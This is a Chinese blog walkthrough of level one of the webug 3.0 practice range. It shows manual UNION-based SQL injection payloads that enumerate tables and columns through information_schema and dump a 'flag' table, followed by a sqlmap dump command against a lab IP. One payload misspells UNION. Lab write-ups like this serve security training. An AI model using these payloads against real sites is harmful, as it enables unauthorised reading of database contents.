浅谈自己记录打靶webug3.0第一关的坑

因为原文已经提示过为get注入(所以直接入手注入,如果需要判断是否有注入点的话可以利用’ 和and 1=1 的方法状况代)
sql注入手动注入的两种方法
①sql简单注入方式进行注入
一,首先尝试利用’进行注入发觉弹出错误页面,即考虑注入方式为字符注入(因为整数注入的话是显示回旋为正常页面的)
在这里插入图片描述
二,字符注入因此考虑闭合单引号
即构造‘ – ’
–在这里的作用是注释掉后面的运算符的作用,实现字符注入
三,构造语句进行注入

order by 4 -- ‘//利用回旋的页面进行判断有几个字符,当by为4的时候回旋页面正常,5的时候报错,因此具有4个字符点

在这里插入图片描述

' uinon select 1,2,user(),database() -- '//进行爆当前的数据库和用户名

在这里插入图片描述

//进行读取数据库中的数据表
' union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='pentesterlab' limit 0,19 -- '//因为是个人习惯不知道到底有多少个所以直接读取多个数据表,注意只有在where那里为s

在这里插入图片描述
读取数据表中的字段

' union select 1,2,COLUMN_NAME,4 from information_schema.COLUMNS where TABLE_SCHEMA='pentesterlab' and TABLE_NAME='flag' limit 0,19 --'

在这里插入图片描述
爆出flag即爆出数据

union select 1,flag,3,4 from pentesterlab.flag -- '

在这里插入图片描述
第二种方法升华构造
利用group_concat()和where构造后进行注入
爆出数据表

' union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema=database() -- '

在这里插入图片描述
爆出flag里面的字段

' union select group_concat(column_name),2,3,4 from information_schema.columns where table_name= 'flag' -- '

在这里插入图片描述
爆出字符和第一种方法同

②利用sqlmap进行注入(因为利用sqlmap注入比较简单,所以这里就不给图了,直接上代码段)

//直接爆出flag
sqlmap -u http://192.168.18.131/pentest/test/sqli/sqltamp.php?gid=1 -D pentesterlab -T flag -C flag --dump

猜你喜欢

转载自blog.csdn.net/qq_33942040/article/details/106245204